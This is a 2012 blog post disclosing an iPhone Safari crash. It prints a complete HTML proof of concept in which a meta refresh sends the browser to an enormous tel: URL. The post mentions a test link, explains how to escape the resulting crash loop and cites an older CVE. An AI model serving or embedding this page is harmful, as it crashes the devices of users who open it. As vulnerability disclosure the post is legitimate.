iPhone Safari crash (other browsers too...)

Thu Sep 27 13:58:04 UTC 2012

iPhone Safari crash (other browsers too...)

It doesn't go much simpler than this:

<!DOCTYPE html>
<html>
        <meta http-equiv="refresh" content="3;URL=tel:(4MB of X)">
        <title>DIE, iPhone, DIE!</title>
        <body>
                <h1>DIE, iPhone, DIE!</h1>
                <p>
                        <img src="http://whitsblog.com/wp-content/uploads/2012/05/Rick-astley-never-gonna-give-you-up.jpg">
                        <br>
                        Never gonna browse the web!
                </p>
        </body>
</html>

Test link

Even Force Quit won't stop it... but the watchdog timer, or the reboot trick (hold both buttons for a few seconds) will.

But this is a HUGE file...

No problem.

My browser is crashing .............

I warned you about crash bro!!!!!

I told you dog!

It keeps happening

I told you man

I TOLD you about crash!

But seriously: how to remove it?

Ah... yes. Safari is so nice and even saves the open tabs before crashing the phone.

Either you can be fast and close the tab before it fully loaded.

Or, you can enable and disable airplane mode browsing mode in settings, clear Safari's cache, open Safari, close the tab, disable airplane mode again (thanks to Sergeij2000 on the Heise forum for this hint).

Or, you can enable and disable private browsing mode in Safari's settings, and when asked whether you want to close all tabs, confirm (thanks to ticaki on the Heise forum for this hint).

UPDATE: Try this link to get an idea of why it seems to crash. This one is so short it does not cause a crash, however, it does cause display corruption (dialog text overwriting dialog buttons) on the iPhone. Apparently the crash bug of the iPhone is in formatting the confirmation message dialog box... and it then ends up looking like this:

UPDATE: This vulnerability is not new, Apple should be aware it for 3 years now and hasn't fixed it yet. See: CVE-2009-3271


Posted by OpBaI | Permanent link | File under: ios